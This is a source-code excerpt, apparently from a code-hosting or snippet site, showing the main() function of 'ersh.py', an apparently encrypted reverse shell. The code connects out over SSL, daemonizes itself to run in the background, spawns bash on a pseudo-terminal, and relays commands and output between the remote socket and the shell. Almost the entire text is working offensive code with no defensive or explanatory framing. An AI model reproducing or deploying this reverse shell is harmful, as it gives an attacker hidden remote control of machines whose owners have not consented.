ersh.py 文件源码

def main():
    s = establish_connection()
    if s is None:
        return -1
    print success("Connection established!")
    daemonize()

    master, slave = pty.openpty()
    bash = subprocess.Popen(SHELL,
                            preexec_fn=os.setsid,
                            stdin=slave,
                            stdout=slave,
                            stderr=slave,
                            universal_newlines=True)
    time.sleep(1)  # Wait for bash to start before sending data to it.
    os.write(master, "%s\n" % FIRST_COMMAND)

    try:
        while bash.poll() is None:
            r, w, e = select.select([s, master], [], [])

            # SSLSockets don't play nice with select because they buffer data internally.
            # Code taken from https://stackoverflow.com/questions/3187565/select-and-ssl-in-python.
            if s in r:
                try:
                    data = s.recv(1024)
                except ssl.SSLError as e:
                    if e.errno == ssl.SSL_ERROR_WANT_READ:
                        continue
                    raise
                if not data:  # End of file.
                    break
                data_left = s.pending()
                while data_left:
                    data += s.recv(data_left)
                    data_left = s.pending()
                os.write(master, data)
            elif master in r:
                s.write(os.read(master, 2048))
    finally:
        s.close()